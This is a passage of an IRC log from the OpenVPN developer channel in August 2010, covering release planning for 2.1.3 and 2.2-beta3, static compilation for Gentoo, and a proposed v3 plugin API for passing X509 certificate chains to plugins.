good, if doable 13:17 <@dazo> when it covers saved passwords to file ... then I do understand the opposition better 13:17 <@jamesyonan> I believe that ssh does a similar thing, i.e. makes it difficult to read password from a file 13:17 <@dazo> ssh can use $SSH_ASKPASSWD (or something similar) 13:18 <@mattock> btw. before I forget... only one guy responded to my Windows 2000 support mail... and even he was not interested in having win2k support for _new_ OpenVPN releases 13:18 <@dazo> which points at a script/binary which gives the password 13:18 <@mattock> so I guess we can drop Win2k support in next release 13:18 <@dazo> perfect! 13:18 <@dazo> and we have no test reports for Win2K ... seems people have fled that one by now 13:19 <@mattock> fortunately... 13:19 <@dazo> :) 13:20 <@mattock> what if I send mail now to the mailing lists about the password save option? 13:20 <@mattock> and we move forward from there 13:20 <@dazo> I then suggest that we release 2.1.3 as is ... and rather do the changes, if accepted by our users in the next release 13:21 <@mattock> sounds good 13:21 <@cron2> +1 13:21 <@mattock> that's settled, then :) 13:22 <@mattock> ok, so what about 2.2-beta3 release? 13:22 <@dazo> I will tag the tree now, and push it out 13:22 <@mattock> was there something missing from 2.1.2 that was required for 2.2-beta3? 13:23 <@dazo> then jamesyonan should be able to build from git or a tarball from mattock 13:23 <@dazo> yeah, updates to the build script 13:24 <@mattock> I was wondering if we should have our users "smoke test" each release beforehand (similarly to 2.1.3) by asking them on -users? 13:24 <@dazo> and we have a few community fixes in the meantime as well 13:24 <@mattock> say, a few days / a week before release? 13:24 <@dazo> nah, it's beta ... it's supposed to fail, especially early betas ;-) 13:24 <@mattock> ok :D 13:25 <@cron2> mattock: i'm with dazo here 13:25 <@mattock> fine with me 13:25 <@cron2> the point of beta is "this is broken, go test it now" 13:25 <@mattock> got to love this positive attitude :) 13:26 <@mattock> that's true, though... 13:26 <@mattock> just a clarification... the option we'll ask our users about is "auth-user-pass"? 13:27 <@dazo> mattock: git tree tagged pushed .... v2.2-beta3 is available 13:27 <@mattock> nice! 13:27 <@mattock> I'll create the tarballs tomorrow morning and send a link to james 13:27 <@dazo> perfect! 13:27 <@jamesyonan> mattock: well the issue is really the ./configure --enable-password-save option 13:27 <@mattock> jamesyonan: ok 13:28 <@mattock> jamesyonan: when could you build the Windows installer and push out 2.2-beta3? 13:29 <@mattock> by Monday? 13:30 <@jamesyonan> mattock: I can do the Windows build fairly easily if there aren't any glitches 13:30 <@mattock> just let us know if you encounter _any_ issues 13:31 <@dazo> hopefully not ... not with latest 2.1.3 changes merged into beta2.2 13:33 <@mattock> hmm, should we discuss static compilation now? 13:33 <@dazo> +1 13:33 <@mattock> https://community.openvpn.net/openvpn/ticket/46 13:33 < vpnHelper> Title: #46 (Some way of supporting static compilation) – OpenVPN Community (at community.openvpn.net) 13:34 <@mattock> what's required at our end for static compilation to work? 13:34 <@dazo> update autoconf scripts, I'd say 13:34 * cron2 wonders what the point is, as glibc will always do some dynload things 13:34 <@dazo> some security oriented distroes like to do static compilations of some packages 13:35 <@cron2> so there is no way to fix openssl bugs without recompilation of everything? good plan 13:35 <@dazo> to avoid a borken ssl lib or other stuff loaded via LDPRELOAD to influence the behaviour 13:36 <@cron2> but anyway, more positive: I have seen other packages do "configure --enable-static", so there seems to be configure magic that we could tap into 13:36 <@dazo> This request comes from Gentoo ... and it might be related to the Tin Hat distro ... 13:36 <@cron2> Tin Foil Hat distro? *duck* 13:36 <@dazo> exactly ... and we're missing --enable-static now 13:36 <@dazo> cron2: http://opensource.dyc.edu/tinhat ;-) 13:36 < vpnHelper> Title: Tin Hat | opensource.dyc.edu (at opensource.dyc.edu) 13:36 <@dazo> not far from the truth ;-) 13:37 <@jamesyonan> what is the problem? Is there something we are doing in configure.ac or Makefile.am that breaks static compilation? Or do we need some special code there to enable it as an option? 13:38 <@dazo> we need to somehow enable static compilation support in autotools ... I don't know how that's really done yet ... but I've seen OpenSSH having this support 13:38 <@cron2> I think if a system has a shared and static library, the linker will default to "shared", so we need to add -static to gcc to get the static linking 13:38 <@dazo> (Gentoo now patches Makefile after having run ./configure) 13:39 * cron2 looks at openssh configure* 13:39 <@dazo> yeah, and you need to link against lib{LIBRARY}.a instead of -l{LIBRARY} 13:39 <@cron2> dazo: I don't think that's needed - that's the point of "-static", the linker knows how to do that 13:40 <@dazo> but it needs access to the .a file at least, iirc 13:40 <@cron2> sure, "-l$lib" + -Lpath, works for .a as well as for .so 13:42 <@mattock> hmm... I wonder if we could discuss this issue with the Gentoo maintainer 13:42 <@mattock> to understand the problem and potential solutions better 13:42 <@cron2> there's no mention of "static" in the current OpenSSH's configure :( 13:42 <@cron2> gcc docs say "call gcc with -static is sufficient" 13:43 <@dazo> mattock: I tried ... and he responded he don't know autotools good enough to do this .... that's why they patch Makefile ... which is really hacky 13:43 <@dazo> hmm 13:43 <@mattock> nobody else has complained about this, right? 13:44 <@dazo> not which I know about :) 13:44 <@mattock> I wonder why they need static compilation... 13:44 <@jamesyonan> why not just add --enable-static to configure.ac and have it add -static to gcc options 13:44 <@cron2> something like that, yes 13:45 <@mattock> hmm, if that's so easy, why not 13:45 <@dazo> if that works, go for it! 13:46 <@dazo> might be that Alon will frown upon us, though :) 13:46 <@dazo> (if there is a more "standard" way to do it, though) 13:47 <@mattock> if it's that easy, let's do it... if it gets hairy, perhaps ask Gentoo maintainer "why should we do this"? 13:47 <@cron2> well, we could ask him (Alon, that is)? 13:47 <@jamesyonan> CFLAGS is passed through to configure -- so in theory you could do: 13:47 <@dazo> sure! That's worth a shot 13:48 <@jamesyonan> CFLAGS="-static" ./configure 13:48 <@dazo> jamesyonan got a very valid point there! 13:49 <@mattock> I'll try that 13:50 <@mattock> hmm, I get "configure: error: OpenSSL SSL library not found." 13:51 <@mattock> without "-static" configures just fine 13:51 <@dazo> you must have the static openssl libraries installed 13:52 <@mattock> okay 13:52 <@mattock> I can test tomorrow if installing static OpenSSL libs solves this issue 13:52 <@jamesyonan> you have to have the whole library dependency tree of OpenVPN available statically 13:53 <@dazo> true 13:53 <@mattock> hmm, perhaps I'll ask the Gentoo guys to do the testing for me... they can build static stuff easier than me 13:53 <@mattock> dependencies espc. 13:54 * dazo tries on one of his Gentoo boxes now 13:54 <@mattock> nice! 13:55 <@mattock> meanwhile we can feast our eyes on this: https://community.openvpn.net/openvpn/ticket/44 13:55 < vpnHelper> Title: #44 (More Flexible TLS Verification for plugins) – OpenVPN Community (at community.openvpn.net) 13:56 <@mattock> jamesyonan: so currently only some parts of the certificate are exposed to plugin developers? 13:56 <@dazo> correct 13:57 <@mattock> is there any (security?) reason why we couldn't expose the field he's talking about? or even the whole certificate? 13:57 <@jamesyonan> the traditional method of adding features like these has been to have tls_verify extract the cert properties and place them in the env var list that is passed to the plugin 13:57 <@dazo> the eurephia patch which we have in 2.2-beta ... that enables tls_digest_X which is the digest (aka. SHA1 fingerprint) as an environment variable 13:58 <@mattock> ok, so what he's suggesting _is_ doable already? 13:58 <@jamesyonan> no, not really 13:58 <@dazo> jamesyonan: with tls_verify ... you mean the function in ssl.c? 13:58 <@jamesyonan> yes 13:59 <@jamesyonan> but I think he's proposing that we change the plugin API so that the actual OpenSSL certificate objects are passed to the plugin 14:00 <@dazo> I would say it is doable in theory ... but I'm really not sure which method of doing it is best .... environment variables might be too small/limited for several kb of data 14:00 <@dazo> putting it to a file, is a security issue 14:00 <@dazo> so the last option is to modify the API 14:00 <@mattock> the "--enable-password-save" email here: http://pastie.org/1118604 14:00 <@mattock> shall I press "Send"? 14:01 <@mattock> how extensive changes the API would need? 14:01 <@dazo> mattock: +1 14:01 <@jamesyonan> mattock: sure 14:01 <@mattock> some small changes? 14:01 <@cron2> mattock: +1 14:01 <@mattock> ok 14:01 <@mattock> let's see what kind of noise that raises 14:02 <@mattock> sent 14:02 <@jamesyonan> well the problem with API changes is that then you might need to introduce a new version of the API method so as not to break old plugins 14:02 <@mattock> is the API documented somewhere? 14:02 <@dazo> it might not be too big ... but ... there are more approaches to do this .... I'm not sure adding yet another variable to the openvpn_plugin_func_vX() is the best approach 14:02 <@dazo> openvpn-plugin.h 14:03 <@mattock> and he suggest that "By providing plugin developers the full certificate, they may implement domain specific requirements as needed." 14:03 <@dazo> which is true ... and a valid point 14:04 <@mattock> any reason why not to do that? 14:05 <@mattock> except the time required, that is 14:05 <@jamesyonan> well how would we pass the certificate object to the plugin method? 14:05 <@dazo> no, I do not see any issues not to do this ... in fact, if I had that feature available when I started eurephia, I would not need to patch OpenVPN 14:06 <@jamesyonan> maybe we should implement a general method of passing objects (rather than merely key/value pairs via env vars) to plugin methods 14:06 <@dazo> jamesyonan: what if we have a v3 plugin interface, which cleans up some of the input arguments to openvpn_plugin_func_v3() ... giving a struct instead with pointers to the different variables 14:06 <@jamesyonan> then if we think of more objects to pass in the future, we don't have to change the API 14:07 <@dazo> then we can add the certificate list ... which would point to X509 objects, usable directly via openssl libs 14:07 <@dazo> this pointer would be NULL on non TLS plugin-hooks 14:07 <@jamesyonan> sure, that makes sense 14:08 <@jamesyonan> we would need to version-tag the struct so it can expand in the future without breaking older plugins 14:08 <@dazo> yeah, true 14:09 <@dazo> another similar approach would be a pointer chain struct .... struct plugin_args { const char *name, const void *data, struct plugin_args *next } 14:09 <@dazo> that way the plugin would have to loop through to look for the "name"d data they are looking for 14:10 <@jamesyonan> sure, that would work, but would require more support code for allocating objects 14:11 <@dazo> yeah, which is why I don't like that idea _that_ much :) 14:11 <@jamesyonan> how about just a struct with a version number as the first item followed by data items 14:12 <@dazo> but the former idea, with a not so flexible struct, could just have a "int version" variable ... the plug-in would need to validate that the version is good ... and if compiling on older openvpn, it would fail to compile 14:12 <@dazo> heh 14:12 <@dazo> great minds things alike? 14:12 <@dazo> :-P 14:12 <@mattock> dazo: did the Gentoo build succeed? 14:13 <@dazo> mattock: nope ... same error as you ... even though I have the .a files available in the path 14:13 <@mattock> oki 14:13 <@mattock> do we want to try to fix this or ask Gentoo guys "why"? 14:13 <@dazo> I'd say we ask Gentoo guys :) 14:14 <@mattock> ok 14:14 <@jamesyonan> I was thinking that we could sort of "guarantee" that newer versions of the struct would only add new items to the end of the struct, so older plugins could support as long as version number is >= to what they expect 14:14 <@mattock> dazo: I'll ask, then 14:15 <@dazo> jamesyonan: exactly! but I thought of the scenario that someone tries to build a plug-in against an older OpenVPN without the variables they need 14:15 <@dazo> but that would not be an unexpected scenario, though 14:16 <@jamesyonan> dazo: how could that not fail? 14:16 <@dazo> I think I'm saying the same as you, jamesyonan ;-) 14:16 <@dazo> but! this would be tricky with ABI compatibility across precompiled versions, though 14:17 <@jamesyonan> well the idea is that the plugin could detect the version mismatch and fail gracefully 14:17 <@dazo> yeah 14:19 <@mattock> do you guys know what to do now? should we ask if somebody on the ml wants to help implement this? 14:19 <@mattock> this is pretty general purpose stuff I think 14:19 * dazo begins to get the feel of this ... and is willing to poke into a patch already 14:19 <@mattock> nice! 14:20 <@mattock> I think we should more actively send "does somebody want to work on this with me" -mails to -devel... 14:20 <@dazo> yeah, true enough :) 14:20 <@mattock> does not hurt to ask 14:21 <@mattock> if somebody wants the feature in question, there's a good chance he'll help (if he can) 14:21 <@dazo> sure not ... but some times, that can lead to over-design ... it's better to put it in our TODO list 14:22 <@mattock> yeah, I see what you mean... I remember a few long discussion threads like that 14:22 <@dazo> yeah 14:23 <@mattock> ok, what about gentoo (2.2-beta) packages? 14:23 <@mattock> any news? 14:23 <@dazo> I 14:23 <@dazo> I've not heard anything more ... the maintainer sounded very positive ... but he would need to look into how to do this in the best way 14:23 <@dazo> as he said, not everyone is willing to run beta versions in production :) 14:24 <@mattock> yeah, I'm moving from Debian Testing to stable... and this time (which is third) for good 14:24 * dazo expects an openvpn-beta port in emerge 14:24 <@mattock> :) 14:25 <@mattock> hmm, I'm afraid we've ran out of topics... 14:25 <@dazo> whot!?!?!?! We've only been here for 1.5 hour! :-P 14:25 <@mattock> yep 14:25 <@mattock> that's pretty standard time, actually 14:25 <@mattock> a bit on the low side, though 14:26 <@mattock> jamesyonan: could you let us know when you push out 2.1.3? 14:26 <@dazo> jamesyonan: I see that you don't have any openvpn_plugin_{close,abort}_v2() functions, only v1 ... is the v1 version called on v2 plug-ins in this case? 14:26 <@mattock> I'll create the tarballs from 2.2-beta3 and send them a link to you 14:26 <@jamesyonan> I can do it before tomorrow 14:26 <@mattock> jamesyonan: great! 14:26 <@dazo> \o/ 14:27 <@mattock> mkay, anything else? I'd like to go for a walk. Been too much inside last few days :) 14:28 <@dazo> run, mattock, run! 14:28 <@dazo> :-P 14:28 <@mattock> great! I will! :D 14:28 <@mattock> I'll write the summary tomorrow, as usual 14:28 <@jamesyonan> bye all 14:28 <@mattock> bye! 14:28 <@dazo> c'ya! 14:28 < ecrist> l8r 14:28 <@mattock> jamesyonan: we don't mind if you hang around :D 14:28 <@dazo> jamesyonan: did you catch my question re: plugin functions? 14:29 <@mattock> longer 14:30 -!- krzie [nobody@unaffiliated/krzee] has quit [Quit: This computer has gone to sleep] 14:34 <@jamesyonan> dazo: yes, the v1 functions are called for v2 plugins 14:34 <@dazo> jamesyonan: thx! 14:35 <@jamesyonan> dazo: OpenVPN does a dynamic load of the plugin and calls the highest versioned api methods that the plugin defines 14:35 <@dazo> jamesyonan: I'm gonna look at a first-stab-patch for a v3 API ... I'll mail it to you and the ML for review ... and I plan in this first phase to support the same API as v2 ... is that fine for you? 14:36 <@dazo> that makes sense 14:36 <@jamesyonan> dazo: sure 14:37 <@cron2> *grumble 14:37 <@dazo> !?! 14:37 < vpnHelper> dazo: Error: "?!" is not a valid command. 14:37 <@dazo> *grumble! 14:37 <@dazo> :-P 14:37 <@cron2> the openvpn 2.1.2 in gentoo has a use flag "ipv6" but that only enables ipv6 transport, not payload 14:37 <@dazo> I know ... I told them about it 14:38 <@cron2> colleague told me about it today, but I just checked to be sure 14:38 <@dazo> I said it's not "proper" IPv6 support ... only half-a-leg :-) 14:38 <@cron2> not that I'd use a packaged openvpn... :) 14:38 <@dazo> :) 14:55 <@dazo> jamesyonan: do you have some kind of test plug-in you use(d) when testing the plug-in interface? 14:57 <@jamesyonan> see log.c or simple.c in plugin/examples 14:57 <@dazo> jamesyonan: thx! will do! 15:41 <@dazo> scary ... things compile a little bit too easy with these changes ... 16:02 <@cron2> what are you doing? 16:02 <@dazo> the v3 plug-in interface 16:03 <@cron2> scary :) 16:03 <@dazo> the worst thing is that this seems to work ... it's going to easy .... it's gonna explode! :-P 16:04 <@cron2> I understand that feeling :-) - that was what I had when the multi.c code for IPv6 basically "just worked" 16:05 <@dazo> yeah ... this change was actually much easier to implement than I expected 16:05 <@cron2> mmmh. but you missed 2.2 nonetheless... 16:06 <@dazo> yeah, but never mind ... it will always come a 2.3 :) 16:06 <@cron2> yep 16:09 <@cron2> ok, time to go to bed :) 16:09 <@dazo> n8 :) 16:47 <@dazo> jamesyonan: please let me know what you think about the patches I just sent 16:49 <@dazo> (smoketesting and valgrind tests seems to be good ... no complaints) 17:16 <@jamesyonan> dazo: I didn't receive any patch 17:16 <@dazo> jamesyonan: huh? have you checked -devel mailing list? I got my copies ... it even states you on Cc .... 17:17 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/3924 17:17 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 17:17 <@dazo> jamesyonan: ^^^ 17:17 <@jamesyonan> ah right, I see it now 17:19 <@dazo> :) 17:35 * dazo calls this a day 17:35 -!- krzee [~k@unaffiliated/krzee] has joined #openvpn-devel 17:35 <@dazo> (00:35 where I am now ... time to get some sleep :)) 17:36 -!- dazo is now known as dazo_afk 19:17 -!- krzee [~k@unaffiliated/krzee] has quit [Quit: Leaving] --- Day changed Fri Aug 27 2010 00:57 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 02:31 <@mattock> would somebody else care to smoketest the 2.2-beta3 tarball: http://build.openvpn.net/downloads/releases/ 02:32 < vpnHelper> Title: Index of /downloads/releases (at build.openvpn.net) 02:37 -!- dazo_afk is now known as dazo 02:38 <@dazo> mattock: I can update one of my boxes 02:38 <@mattock> nice! 02:38 <@mattock> if it works, I think I'll sent a link to the mailing list, too 02:38 <@mattock> to get better smoke testing 02:39 <@mattock> the issue james had with 2.1.3 could have been avoided by asking users to test it beforehand 02:39 <@mattock> for example 02:39 <@dazo> nah, not really ... unless somebody really do the windows build themselves 02:40 <@mattock> oh yes, good point :D 02:40 * dazo hopes james logs in again today 02:41 <@mattock> oh, not really a good point :D. I mean, if James had sent a link to -users, and users could have tested the Windows _binary_ before release, then the 2.1.2 mess would have been avoided 02:41 <@mattock> that's what I meant 02:41 <@mattock> I agree, let's see if James returns 02:41 <@dazo> that's true! :) 02:41 <@dazo> OpenVPN 2.2-beta3 i686-pc-linux-gnu [SSL] [LZO2] [EPOLL] [eurephia] built on Aug 27 2010 02:41 <@dazo> installing now 02:41 <@mattock> so I think we should do that ourselves with 2.2-beta3 02:42 <@dazo> but do we have windows binaries available? 02:42 <@dazo> it's the binaries which are the troublesome point 02:42 <@mattock> ok, I'll send mail to the gentoo maintainer now 02:42 <@mattock> yep, true 02:43 <@mattock> dazo: yep, we do have the build computer now... but if james creates the initial 2.2-beta3 Windows binary, we can smoketest that on -users 02:43 <@mattock> and if it works, then release it 02:43 <@mattock> and do the same for 2.2-beta3 tarball 02:43 <@dazo> agreed! 02:43 <@dazo> I've updated one of my boxes (ovpn client) to 2.2-beta3 now ... it works very well 02:44 <@mattock> ok 02:44 <@mattock> it seems I'm slowly getting the hang off git... 02:44 <@dazo> nice :) 02:44 <@mattock> or is it "of git"... anyways 02:44 <@dazo> well, don't be afraid of bugging me if you have issues :) 02:44 <@mattock> I had one today, but resolved it quickly... 02:44 * dazo don't know the proper grammar there :-P 02:45 <@mattock> the difficult thing initially was to grasp the local branch / remote branch concept... how it works in practice 02:45 <@dazo> yeah, that's very different! 02:46 <@mattock> SVN is more straightforward, but also pretty limited 02:46 <@dazo> and can be pretty confusing in the beginning when you work with more remotes as well 02:47 <@mattock> yeah, I'm looking forward to the first time I have to revert a file... I got my puppet recipes in git, but haven't had the need to roll back yet 02:47 <@dazo> SVN isn't _that_ bad ... but it is limited in a lot of ways ... and simply too slow for me ... it takes "forever" to do things like 'svn log' and 'svn diff' 02:47 <@mattock> they're very slow 02:47 <@mattock> but it's very easy to confuse SVN by moving around nested directories 02:48 <@mattock> or moving directories around in general 02:48 <@dazo> ahh ... I've never dared to do that ... 02:48 <@dazo> (other places than in git, of course) 02:48 <@mattock> I mean, for example move a subdirectory of a directory somewhere else. And then try to move the (parent) directory somewhere else 02:48 <@mattock> something like that 02:48 * dazo did it in CVS once ... a decade ago, and still regrets it 02:48 <@mattock> svn gets pretty confused 02:50 <@dazo> that's the problem with SVN, as it tracks files ..... git tracks file contents, and just attach a file label to the content .... so when a file moves, it can handle that more gracefully, as just the file label is updated internally 02:50 <@mattock> yep 02:50 <@dazo> (which you would expect SVN to do as well ... but still they mange mess it up somehow) 02:51 <@mattock> btw. did you try build the static OpenVPN from a tarball? 02:51 <@mattock> not from an ebuild 02:51 <@mattock> or rather, some git branch 02:51 <@dazo> I tried from a tarball 02:51 <@mattock> ok 02:51 <@dazo> I found the "patch" they do 02:52 * dazo looks it up again 02:52 <@dazo> use static && sed -i -e '/^LIBS/s/LIBS = /LIBS = -static /' Makefile 02:52 <@dazo> so if the 'static' flag is enabled in portage, it will update the Makefile with that sed expression 02:53 <@dazo> that's all 02:53 <@dazo> that looks like a configure.ac update to me 02:54 <@dazo> hmmm ... no responses to the new plug-in API yet 02:55 <@mattock> ok, responded to gentoo guys in trac 02:56 <@dazo> cool! 02:56 <@mattock> I'm sure somebody responds to the API patches 02:56 <@dazo> I know james started to look at it yesterday ... but I don't know anything more from him 02:56 <@mattock> if not, then perhaps James will 02:56 <@mattock> I suggest just relaxing for a while... :) 02:57 <@dazo> heh :-P 02:57 <@dazo> you think I'm giving too much "full speed ahead", huh? ;-) 02:58 <@mattock> patience, patience... :) 02:58 <@mattock> it may be that nobody has not looked at the patch yet 02:58 <@mattock> I'd start worrying after tomorrow evening 02:59 <@mattock> or after the weekend at latest 02:59 <@mattock> when people have free time to hack 02:59 <@dazo> true :) 03:00 <@mattock> anyways, so 2.2-beta3 worked just fine... I'll send a preview to the -users ml 03:00 <@mattock> and then send a mail to james about it 03:01 <@dazo> I _still_ think it is good to wait for windows binaries, though .... we can get a flood of questions about them by just providing the sources ... 03:02 <@dazo> and honestly, when 'make distcheck' completes, it's a package sanity check of the tarball on *nix ... that should not fail then on other *nix based systems 03:02 <@dazo> it's going to be windows which will be the pain again 03:02 <@dazo> so if somebody does windows builds, that would be good indicator ... and then I think -devel would be the more appropriate audience 03:03 <@dazo> -users can get info when we're releasing the beta 03:03 <@dazo> (but that's just my thoughts :) ) 03:05 <@mattock> ok, let's do that then 03:06 <@mattock> we can't make the release anyways right now 03:06 <@dazo> exactly 03:07 <@mattock> ok, got to stop working... I'm inevitably going past my limit this month 03:07 <@dazo> but to send the -devel list "hey, we're almost ready to slip out 2.2-beta ... anyone willing to test windows building?"-kind-of-mail ... that's good, though 03:07 <@dazo> :) 03:07 <@mattock> no, really... I'm having a problem :) 03:07 <@mattock> can't work anymore 03:07 <@mattock> :D 03:07 <@dazo> heh 03:08 <@mattock> I've been trying to scale down for a long time, but "stuff has happened" and prevented me from succeeding 03:08 <@dazo> :) 03:08 <@dazo> we're moving faster now, you know! 03:08 <@mattock> anyways, I'll be here and do the basic stuff 03:08 <@mattock> emails and such 03:08 <@mattock> and I can move my hours over to next month 03:09 <@dazo> :) 03:09 <@dazo> that's next week ;-) 03:09 <@cron2> mattock: setup a test framework on buildbot, run t_client.sh test on the tagged checkout, if that works, unix will be pretty much OK 03:09 <@mattock> cron2: ok 03:18 <@mattock> sent mail to james with a link to 2.2-beta3 tarball 03:24 <@dazo> cool! 03:25 * dazo hopes we finally manages to get that beta out the door! :) 03:32 <@mattock> me too! 03:32 <@mattock> I hope james gets 2.1.3 out the door today 03:32 <@dazo> definitely! 03:32 <@mattock> there's no reason to postpone it's release 03:32 <@dazo> only he wants to upset people :-P 03:32 <@dazo> only *if* 03:33 <@mattock> keeping 2.1.2 there for two years would definitely do the trick :D 03:33 <@dazo> hah 03:46 -!- ScriptFanix [vincent@hanaman.riquer.fr] has quit [Read error: Operation timed out] 03:47 -!- ScriptFanix [vincent@hanaman.riquer.fr] has joined #openvpn-devel 05:54 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has joined #openvpn-devel 08:32 < ecrist> mattock: some confusion about the website: https://forums.openvpn.net/viewtopic.php?f=1&t=7038 08:32 < vpnHelper> Title: OpenVPN User Forum View topic - OpenVPN client (at forums.openvpn.net) 08:35 <@dazo> It's actually a darn good idea to rename the closed source client "OpenVPN AS Client" ... 08:36 < ecrist> or at least do something to remove the ambiguity. 08:36 <@dazo> yeah 09:07 <@mattock> yeah, I already made a proposal to fix that... basically have other clients (=Heikos's GUI, standard OSS Windows installer) available on the "Client software -> Downloads" page 09:07 <@mattock> Francis was ok with that 09:26 < ecrist> the forums are getting fairly active now, and with the integration of pwm, it's preventing most of the bots from creating accounts, so there's been almost no spam problems. 09:51 -!- mape2k [~mape2k@2001:638:904:ffe0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 10:39 <@mattock> ecrist: excellent! 10:39 <@mattock> and both servers (trac and forums) are not feeling especially slow 11:06 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 11:06 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 11:18 <@mattock> hi james! 11:25 <@jamesyonan> hi! 11:35 <@dazo> jamesyonan: hi! 11:36 <@jamesyonan> hi! 11:36 <@cron2> dazo: I'm a bit confused. Does the plugin v3 interface pass anything different to the plugin than the v2 interface? Or is it the same information, just "packaged" differently? 11:36 <@cron2> (well, the version number is new, of course) 11:40 <@cron2> or is the whole point of the patch "define APIv3 now, so we can update the API in future without (silently) breaking modules"? 11:40 <@cron2> with no new functionaliy yet? 11:45 <@cron2> *re-read boilerplate text* - ok, yes, that's the way it should be 11:45 <@cron2> well, consider this a half-ACK from me "it looks good but I don't fully understand all the details involved". 11:45 <@cron2> There's a typo in + * Aruguments used to transport variables to and from the 11:46 <@cron2> :) 11:46 <@dazo> cron2: right now, it's not adding anything new to the v2 functionality ... but when the new API is set, the argument structs will be expanded 11:46 <@dazo> X509 objects chains are the first one 11:47 <@cron2> why not add these right away, so plugin authors do not have to update their code twice? 11:47 <@dazo> this is first going into 2.3, via allmerged first ... so it's just to see if somebody have comments to this new basic API 11:48 <@cron2> ok 11:48 <@dazo> it's easier to adopt new features when the plug-in API is settled 11:48 <@cron2> well, you want a "make check" test for the plugin API (already sent that to the mailing list) :-) 11:48 <@dazo> yeah, I saw that :) 11:49 <@dazo> jamesyonan: do you have any comments to the new API patches? 11:49 <@cron2> ok, need to leave now - see/read you tomorrow or so 11:49 <@dazo> sure do! 11:49 <@dazo> cron2: have fun! 11:53 <@jamesyonan> dazo: seems pretty reasonable. Why not use OPENVPN_PLUGIN_VERSION as the API version? 11:54 <@dazo> jamesyonan: Good point ... I thought that was more to identify the function level of the API 11:54 <@dazo> but I can change that 12:03 <@jamesyonan> dazo: did you update the plugin_call function yet? 12:04 <@dazo> yeah, that's patch 2/3, I believe 12:04 <@dazo> I sent 4 mails, one cover mail, and three patches threaded under the cover mail 12:05 <@dazo> http://thread.gmane.org/gmane.network.openvpn.devel/3924 12:05 < vpnHelper> Title: Gmane Loom (at thread.gmane.org) 12:05 <@dazo> [PATCH 2/3] Implement the core v3 plug-in function calls. 12:05 <@dazo> ^^ that's the mail 12:06 <@jamesyonan> I see patch 2/3 but I don't see any change to the plugin_call prototype 12:06 <@dazo> @@ -350,7 +356,14 @@ plugin_call_item (const struct plugin *p, 12:06 <@dazo> I might have missed a spot though 12:06 * dazo double checks 12:07 <@dazo> + if (p->func3) { 12:07 <@dazo> + struct openvpn_plugin_args_func args = { .version = OPENVPN_PLUGIN_ARGS_APIVER, 12:07 <@dazo> + .type = type, 12:07 <@dazo> + .argv = (const char **) a.argv, 12:07 <@dazo> + .envp = envp, 12:07 <@dazo> + .per_client_context = per_client_context }; 12:07 <@dazo> + status = (*p->func3)(&args, p->plugin_handle, retlist); 12:07 <@dazo> + } else if (p->func2) 12:07 <@dazo> status = (*p->func2)(p->plugin_handle, type, (const char **)a.argv, envp, per_client_context, retlist); 12:08 <@dazo> isn't that the place? 12:08 * dazo don't see any other obvious places right now 12:09 <@jamesyonan> for example, how does the plugin_call invocation in verify_callback communicate the OpenSSL X509 object to the plugin subsystem in plugin.[ch] so that it can be passed on to plugin modules? 12:10 <@dazo> ahh ... no, that part is not done yet 12:11 <@dazo> that will be to extend struct openvpn_plugin_args_func with a X509 certificate chain object 12:11 <@dazo> I thought I would look into that when we have the general new API in place 12:14 <@jamesyonan> It might be a good idea to implement at least one "application" of the new plugin model (such as passing the cert chain) to ensure that the API meets its objectives 12:15 <@dazo> sure! I can add that now, if you find this API good ... I'll make use of the OPENVPN_PLUGIN_VERSION as the version identification then ... and start looking at the X509 stuff 12:17 <@jamesyonan> sounds good 12:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 13:15 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 13:42 * dazo starts the weekend :) 13:53 < ecrist> jamesyonan: the change log on the site doesn't list changes for 2.1.3 13:54 <@jamesyonan> the change log comes from subversion, and there were no source code changes from 2.1.2 -> 2.1.3 13:55 <@jamesyonan> the only change is that 2.1.3 Windows installer was rebuilt 13:56 < ecrist> ok 13:59 -!- dazo is now known as dazo_afk 13:59 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 15:48 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 17:56 <@raidz> we need to change the forums slogan 17:59 <@raidz> Forum to support the open-source version of OpenVPN within the community. <-- not good 17:59 <@raidz> let me know if you guys have any ideas for better wording. 17:59 <@raidz> unless you think that's ok 18:10 < ecrist> raidz: what do you want it to be? 18:10 < ecrist> I'm open to suggestion. 18:33 <@raidz> I didn't realize you wrote that, I thought it was our web developer, I wouldn;t have been to blunt :/ 18:33 <@raidz> How About: Support forum for the OpenVPN Community Project 18:34 <@raidz> or: Support forum for the OpenVPN Open-Source Project 18:34 <@raidz> althought I rather we say community versus open-source 18:38 <@raidz> what do you think? 19:25 < ecrist> to be honest, there's work being put in to support access server, so I would suggest OpenVPN Support Forum 19:25 < ecrist> sorry for the delay, I'm putting out fires at $job --- Day changed Sat Aug 28 2010 00:28 <@raidz> ecrist: I think thats a great idea. Lets do it 01:05 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has joined #openvpn-devel 04:05 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 07:01 -!- mape2k [~mape2k@2001:6f8:997:1000:221:86ff:fe98:93a2] has quit [Ping timeout: 276 seconds] 11:06 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has joined #openvpn-devel 12:33 -!- mape2k [~mape2k@2001:6f8:133b:0:21f:3bff:fe27:21a9] has quit [Read error: Operation timed out] 12:50 -!- jamesyonan [~jamesyona@c-76-120-71-74.hsd1.co.comcast.net] has joined #openvpn-devel 12:50 -!- mode/#openvpn-devel [+o jamesyonan] by ChanServ 16:05 <@cron2> dazo: how hard is it to fix the threading, at least for some easy returns "one thread for crypto, one thread for the rest"? That might already help people 16:36 < ecrist> would be better, imho, if each client connection was it's own thread 16:47 < kisom> Each client-connect script should be threaded too 17:37 -!- mattock 